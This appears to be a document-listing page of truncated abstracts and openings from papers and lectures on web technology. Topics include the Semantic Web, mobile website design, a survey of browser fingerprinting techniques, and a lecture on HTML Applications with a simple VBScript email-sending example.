Semantic Web 8 (2017) 767–772 767 DOI 10.3233/SW-170284 IOS Press Editorial Weaving a Web of linked resources Fabien Gandon a,*, Marta Sabou b and Harald Sack c a Wimmics, Université Côte d’Azur, Inria, CNRS, I3S, Sophia Antipolis, France E-mail: [email protected] b CDL-Flex, Vienna University of Technology, Austria E-mail: [email protected] c FIZ Karlsruhe, Leibniz Institute for Information Infrastructure, KIT Karlsruhe, Germany E-mail: Harald.Sack@fiz-Karlsruhe.de Abstract. This editorial introduces the special issue based on the best papers from ESWC 2015. And since ESWC’15 marked 15 years of Semantic Web research, we extended this editorial to a position paper that reflects the path that we, as a community, traveled so far with the goal of transforming the Web of Pages to a Web of Resources. We discuss some of the key challenges, research topics and trends addressed by the Semantic Web community in its journey. We conclude that the symbiotic relation of our community with the Web requires a truly multidisciplinary research approach to support the Web’s diversity.

Website Development and Web Standards in the Ubiquitous World: Where Are We Going?
WSEAS TRANSACTIONS on COMPUTERS Serena Pastore Website development and web standards in the ubiquitous world: Where are we going? SERENA PASTORE INAF-Astronomical Observatory of Padova National Institute for Astrophisics (INAF) Vicolo Osservatorio 5 – 35122 - Padova ITALY [email protected] Abstract: - A website is actually the first indispensable tool for information dissemination, but its development embraces various aspects: the choice of Content Management System (CMS) to implement production and the publishing process, the provision of relationships and interconnections with social networks and public web services, and the reuse of information from other sources. Meanwhile, the context where web content is displayed has dramatically changed with the advent of mobile devices that are very different in terms of size and features, which have led to a ubiquitous world made of mobile Internet-connected devices. Users’ behavior on mobile web devices means that developers need new strategies for web design. The paper analyzes technologies, methods, and solutions that should be adopted to provide a good user experience regardless of the devices used to visualize the content in its various forms (i.e., web pages, web applications, widgets, social applications, and so on), assuring that open standards are adhered to, and thus providing wider accessibility to users. The strategies for website development cover responsive technology vs. mobile apps, the interconnection with social networks and web services in the Google world, the adoption -
Web-Based Fingerprinting Techniques
Web-based Fingerprinting Techniques V´ıtor Bernardo and Dulce Domingos LaSIGE, Faculdade de Ciencias,ˆ Universidade de Lisboa, Lisboa, Portugal Keywords: Browser Fingerprinting, Cross-browser Fingerprinting, Device Fingerprinting, Privacy, Fingerprint. Abstract: The concept of device fingerprinting is based in the assumption that each electronic device holds a unique set of physical and/or logical features that others can capture and use to differentiate it from the whole. Web-based fingerprinting, a particular case of device fingerprinting, allows website owners to differentiate devices based on the set of information that browsers transmit. Depending on the techniques being used, a website can track a device based on its browser features (browser fingerprinting) or based on system settings (cross-browser fingerprinting). The latter allows identification of the device even when more than one browser is used. Several different works have introduced new techniques over the last years proving that fingerprinting can be done in multiple ways, but there is not a consolidated work gathering all of them. The current work identifies known web-based fingerprinting techniques, categorizing them as which ones are browser and which are cross-browser and showing real examples of the data that can be captured with each technique. The study is synthesized in a taxonomy, which provides a clear separation between techniques, making it easier to identify the threats to security and privacy inherent to each one. 1 INTRODUCTION far more upsetting than simple cookies. In most cases, web-based fingerprinting is used to Device fingerprinting is based on the assumption that track users activity in sites and bind a device finger- no two devices are exactly alike and that profiles can print to a user profile (together with its preferences, be created by capturing the emanation patterns sent tastes and interests). -
Lecture 9 Hypertext Applications (Htas) Print Page in Lecture 8, We Learnt How to Write a Script to Create and Send an Email
Lecture 9 Hypertext Applications (HTAs) Print page In Lecture 8, we learnt how to write a script to create and send an email. In this lecture, we consider another application of scripting technologies. We learn how to write an HTML Application (HTA) . An HTML application is a Windows-based program written in a language that combines HTML and script languages. Such a combination packs the power of Web browsers and scripting. Due to the use of HTML, an HTA requires a Web browser to run. However, it does not require hosting on a Web server to run the embedded scripts because an HTA uses the client machine to run (you have to download and run it locally). Key words HTAs (Hypertext Applications), HTML, DHTML (Dynamic HTML) Reference to textbook chapters In this lecture we use an HTA program ( ClientCheck.hta ) written by Jeff Fellinge to explain the basic components and scripting techniques of HTAs. This code is presented in Jeff Fellinge, IT Administrator's Top 10 Introductory Scripts for Windows . Why use HTAs Let's start with a code snippet (download from embedScript.html ), which is to send a message taken from a web page to a specified address. <HTML> <HEAD> <TITLE>Web Mail</TITLE> <SCRIPT LANGUAGE="VBScript"> Sub cmdSendEmail_OnClick Dim objMsg, objConfiguration, objConfigFields Set objConfiguration = CreateObject("CDO.Configuration") Set objConfigFields = objConfiguration.Fields objConfigFields.Item(" http://schemas.microsoft.com/cdo/ " & _ "configuration/sendusing") = 2 objConfigFields.Item(" http://schemas.microsoft.com/cdo/ " & _ -

Representing Knowledge in the Semantic Web Oreste Signore W3C Office in Italy at CNR - via G. Moruzzi, 1 -56124 Pisa - (Italy) Phone: +39 050 315 2995 (office) e.mail: [email protected] home page: http://www.weblab.isti.cnr.it/people/oreste/ Abstract – The Web is an immense repository of data and knowledge. Semantic web technologies support semantic interoperability and machine-to-machine interaction. A significant role is played by ontologies, which can support reasoning. Generally much emphasis is given to retrieval, while users tend to browse by association. If data are semantically annotated, an appropriate intelligent user agent aware of the mental model and interests of the user can support her/him in finding the desired information. The whole process must be supported by a core ontology. 1. Introduction W3C leads the evolution of the Web. Universal Access and Semantic Web show a significant impact upon interoperability, technological as well as semantic. In this paper we will discuss the role played by XML to support interoperability within applications, while RDF helps in cross applications interoperability. Subsequently, the paper considers the metadata issue, with a brief description of RDF and the Semantic Web stack. Finally, we discuss an example in the area of cultural heritage, which is very rich in variety of possible associations, presenting an architecture where intelligent agents make use of core ontology to help users in finding the appropriate information. 2. The World Wide Web Consortium (W3C) The Wide Web Consortium (W3C) was created in October 1994 to lead the World Wide Web to its full potential by developing common protocols that promote its evolution and ensure its interoperability. -
The Semantic
The Fate of the Semantic Web Technology experts and stakeholders who participated in a recent survey believe online information will continue to be organized and made accessible in smarter and more useful ways in coming years, but there is stark dispute about whether the improvements will match the visionary ideals of those who are working to build the semantic web. Janna Quitney Anderson, Elon University Lee Rainie, Pew Research Center’s Internet & American Life Project May 4, 2010 Pew Research Center’s Internet & American Life Project An initiative of the Pew Research Center 1615 L St., NW – Suite 700 Washington, D.C. 20036 202‐419‐4500 | pewInternet.org This publication is part of a Pew Research Center series that captures people’s expectations for the future of the Internet, in the process presenting a snapshot of current attitudes. Find out more at: http://www.pewInternet.org/topics/Future‐of‐the‐Internet.aspx and http://www.imaginingtheinternet.org. 1 Overview Sir Tim Berners‐Lee, the inventor of the World Wide Web, has worked along with many others in the Internet community for more than a decade to achieve his next big dream: the semantic web. His vision is a web that allows software agents to carry out sophisticated tasks for users, making meaningful connections between bits of information so “computers can perform more of the tedious work involved in finding, combining, and acting upon information on the web.”1 The concept of the semantic web has been fluid and evolving and never quite found a concrete expression and easily‐understood application that could be grasped readily by ordinary Internet users. -
